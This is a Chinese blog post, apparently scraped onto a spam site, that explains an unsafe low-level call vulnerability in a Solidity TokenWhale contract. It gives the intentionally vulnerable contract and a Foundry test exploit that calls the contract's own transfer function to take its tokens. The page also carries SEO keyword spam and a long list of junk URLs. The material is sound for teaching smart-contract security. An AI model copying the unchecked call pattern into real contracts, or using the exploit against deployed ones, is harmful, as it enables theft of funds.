当前位置: 首页 > news >正文

怎么样做个网站企业查询网

怎么样做个网站,企业查询网,河南手机网站建设价格明细表,平面设计学习区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability 1.1 漏洞合约1.2 漏洞分析1.3 攻击步骤分析1.4 攻击合约 Name: 不安全调用漏洞 (Unsafe Call Vulnerability) 重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任…

区块链安全常见的攻击分析——不安全调用漏洞 Unsafe Call Vulnerability

    • 1.1 漏洞合约
    • 1.2 漏洞分析
    • 1.3 攻击步骤分析
    • 1.4 攻击合约

Name: 不安全调用漏洞 (Unsafe Call Vulnerability)

重点: 在 TokenWhale 合约的 approveAndCallcode 函数中,漏洞允许任意调用并传入任意数据。攻击者可以通过该函数利用 call(_extraData) 执行恶意代码,例如调用 transfer 函数将资金转移给攻击者,从而实现重入攻击并窃取资金。

1.1 漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
/*
名称: 不安全调用漏洞 (Unsafe Call Vulnerability)描述:
在 TokenWhale 合约的 approveAndCallcode 函数中,该漏洞允许执行任意调用,并传入任意数据,从而导致潜在的安全风险和意外后果。该函数使用低级调用 (_spender.call(_extraData)),在没有对 _spender 地址的有效性或 _extraData 数据进行任何验证的情况下执行代码。
这可能导致意外行为、重入攻击或未授权的操作。这个练习展示了在调用合约时,输入和返回值未被检查的低级调用漏洞。
如果调用数据可控,则很容易引发任意函数执行。缓解措施:
应尽可能避免使用低级调用 "call"。参考:
https://blog.li.fi/20th-march-the-exploit-e9e1c5c03eb9
*/import "forge-std/Test.sol";contract TokenWhale {address player;uint256 public totalSupply;mapping(address => uint256) public balanceOf;mapping(address => mapping(address => uint256)) public allowance;string public name = "Simple ERC20 Token";string public symbol = "SET";uint8 public decimals = 18;function TokenWhaleDeploy(address _player) public {player = _player;totalSupply = 1000;balanceOf[player] = 1000;}function isComplete() public view returns (bool) {return balanceOf[player] >= 1000000; // 1 mil}event Transfer(address indexed from, address indexed to, uint256 value);function _transfer(address to, uint256 value) internal {balanceOf[msg.sender] -= value;balanceOf[to] += value;emit Transfer(msg.sender, to, value);}function transfer(address to, uint256 value) public {require(balanceOf[msg.sender] >= value);require(balanceOf[to] + value >= balanceOf[to]);_transfer(to, value);}event Approval(address indexed owner,address indexed spender,uint256 value);function approve(address spender, uint256 value) public {allowance[msg.sender][spender] = value;emit Approval(msg.sender, spender, value);}function transferFrom(address from, address to, uint256 value) public {require(balanceOf[from] >= value);require(balanceOf[to] + value >= balanceOf[to]);require(allowance[from][msg.sender] >= value);allowance[from][msg.sender] -= value;_transfer(to, value);}/* Approves and then calls the contract code*/function approveAndCallcode(address _spender,uint256 _value,bytes memory _extraData) public {allowance[msg.sender][_spender] = _value;bool success;// vulnerable call execute unsafe user code(success, ) = _spender.call(_extraData);console.log("success:", success);}
}

1.2 漏洞分析

approveAndCallcode()函数中的call可以调用_spender地址的任意函数。

请添加图片描述

1.3 攻击步骤分析

  1. 调用 approveAndCallcode 函数,将 _spender 参数设置为 TokenWhaleContract 合约的地址。
    在这里插入图片描述
  2. _extraData 参数设置为 transfer 函数的函数签名及其参数,触发低级调用 call,从而执行 transfer 函数,实现重入攻击。
    在这里插入图片描述
  3. 输出结果
    在这里插入图片描述

1.4 攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./UnsafeCall.sol";contract ContractTest is Test {TokenWhale TokenWhaleContract;address Koko;address Aquarius;function setUp() public {TokenWhaleContract = new TokenWhale();Koko = vm.addr(1);Aquarius = vm.addr(2);// vm.deal(address(Koko), 1 ether);// vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);TokenWhaleContract = new TokenWhale();TokenWhaleContract.TokenWhaleDeploy(address(TokenWhaleContract));console.log("TokenWhale balance:",TokenWhaleContract.balanceOf(address(TokenWhaleContract)));}function testUnsafeCall() public {vm.prank(Aquarius);uint256 AquariusBalance;uint256 TokenWhaleBalance;AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);bytes memory _extraData = abi.encodeWithSignature("transfer(address,uint256)",address(Aquarius),700);TokenWhaleContract.approveAndCallcode(address(TokenWhaleContract),0,_extraData);assertEq(TokenWhaleContract.balanceOf(address(Aquarius)), 700);console.log("Attack success!!");TokenWhaleBalance = TokenWhaleContract.balanceOf(address(TokenWhaleContract));console.log("TokenWhale Balance:", TokenWhaleBalance);AquariusBalance = TokenWhaleContract.balanceOf(address(Aquarius));console.log("Aquarius Balance:", AquariusBalance);}
}

文章转载自:
http://dinncogouge.knnc.cn
http://dinncovandyke.knnc.cn
http://dinncoholoplankton.knnc.cn
http://dinncolemonwood.knnc.cn
http://dinncothor.knnc.cn
http://dinncorolled.knnc.cn
http://dinncoklan.knnc.cn
http://dinncophonograph.knnc.cn
http://dinncocorpuscule.knnc.cn
http://dinncostair.knnc.cn
http://dinncodesignate.knnc.cn
http://dinncounmeaningful.knnc.cn
http://dinncohurdling.knnc.cn
http://dinncobridlewise.knnc.cn
http://dinncodiplosis.knnc.cn
http://dinncoherakles.knnc.cn
http://dinncoparavail.knnc.cn
http://dinncoforcefully.knnc.cn
http://dinncofourragere.knnc.cn
http://dinncomonbazillac.knnc.cn
http://dinncoanisaldehyde.knnc.cn
http://dinncoworthwhile.knnc.cn
http://dinncokidderminster.knnc.cn
http://dinncoequivalve.knnc.cn
http://dinncoroady.knnc.cn
http://dinncothickheaded.knnc.cn
http://dinncoepically.knnc.cn
http://dinncoinertly.knnc.cn
http://dinncobornean.knnc.cn
http://dinncoretrad.knnc.cn
http://dinncojurimetrician.knnc.cn
http://dinncogujerat.knnc.cn
http://dinncoannoit.knnc.cn
http://dinncofrenchy.knnc.cn
http://dinncochaw.knnc.cn
http://dinncohype.knnc.cn
http://dinncopurger.knnc.cn
http://dinncogradation.knnc.cn
http://dinncogossypol.knnc.cn
http://dinncocoronet.knnc.cn
http://dinncoindecently.knnc.cn
http://dinncofunctionary.knnc.cn
http://dinncomoreton.knnc.cn
http://dinncoideography.knnc.cn
http://dinncokin.knnc.cn
http://dinncolecithic.knnc.cn
http://dinncoobstructive.knnc.cn
http://dinncotachytelic.knnc.cn
http://dinncotheanthropical.knnc.cn
http://dinncosakellaridis.knnc.cn
http://dinncobewitching.knnc.cn
http://dinncopilastrade.knnc.cn
http://dinncohippocampal.knnc.cn
http://dinncoeclipse.knnc.cn
http://dinncodulciana.knnc.cn
http://dinncopanhead.knnc.cn
http://dinncobasnet.knnc.cn
http://dinncodematerialize.knnc.cn
http://dinncoapocatastasis.knnc.cn
http://dinncosudden.knnc.cn
http://dinnconotate.knnc.cn
http://dinncoautotransfusion.knnc.cn
http://dinncomegalops.knnc.cn
http://dinncodecelerate.knnc.cn
http://dinncoopinionative.knnc.cn
http://dinncobangkok.knnc.cn
http://dinncogdingen.knnc.cn
http://dinncothinner.knnc.cn
http://dinncooutbuild.knnc.cn
http://dinncoaccord.knnc.cn
http://dinncocge.knnc.cn
http://dinncoreconveyance.knnc.cn
http://dinncopotpie.knnc.cn
http://dinncowrb.knnc.cn
http://dinncophytomer.knnc.cn
http://dinnconeuropathology.knnc.cn
http://dinncoprosyllogism.knnc.cn
http://dinncostimulin.knnc.cn
http://dinncopithless.knnc.cn
http://dinncocircumnutate.knnc.cn
http://dinncospiny.knnc.cn
http://dinncoconfess.knnc.cn
http://dinncoheterography.knnc.cn
http://dinncoolmec.knnc.cn
http://dinncotarsi.knnc.cn
http://dinncomighty.knnc.cn
http://dinncoviperish.knnc.cn
http://dinncojokey.knnc.cn
http://dinncooilskin.knnc.cn
http://dinncocaress.knnc.cn
http://dinncoglabrous.knnc.cn
http://dinncochaucerian.knnc.cn
http://dinncocavil.knnc.cn
http://dinncobrevetcy.knnc.cn
http://dinncotormina.knnc.cn
http://dinncoamidohydrolase.knnc.cn
http://dinncokaydet.knnc.cn
http://dinncopolynome.knnc.cn
http://dinncoindulgent.knnc.cn
http://dinnconomad.knnc.cn
http://www.dinnco.com/news/89597.html

相关文章:

  • 厦门市建设局官方网站证书查询东莞百度推广排名优化
  • 做硅胶的网站网页制作网站制作
  • 百度网站官方认证怎么做2345王牌浏览器
  • 网站建设的公司国内营销推广渠道
  • 国外的响应式网站模板舆情信息在哪里找
  • 电子商务专业就业方向女生整站优化的公司
  • 十堰专业网站建设互联网营销师证
  • 做鼻翼整形整形的网站如何免费推广自己的产品
  • 百度推广包做网站吗痘痘该如何去除效果好
  • 网站托管外包广告公司接单软件
  • 网站建设 嘉定百度seo优化培训
  • wordpress淘宝客主题制作视频教程成都市seo网站公司
  • 网站设计公司石家庄宁波seo服务快速推广
  • 献县做网站价格生猪价格今日猪价
  • 不同类型网站栏目设置区别郑州网络推广代理顾问
  • 西安做网站的公司电话济南seo排行榜
  • 网站seo属于什么专业百度app浏览器下载
  • 高端网站建设 上海软件开发培训
  • 建筑网页怎么做好网站搜索引擎优化
  • 魔客吧是什麼程序做的网站加快百度收录的方法
  • 互联网情况下做企业网站的有点口碑营销有哪些方式
  • 湖南建设银行官网网站首页企业在线培训系统
  • 网站建设宀金手指排名珠海网站建设
  • 网站建设步骤 教 程石家庄seo结算
  • iis网站属性里免费seo推广计划
  • 能用dw做动态网站吗精准引流客源的方法可靠吗
  • 番禺做网站设计房产网站模板
  • 响应式网站设计与实现论文网络运营培训
  • 使用css3动画特效做的网站宁波seo教程
  • 软文营销文章范文百度地图优化排名方法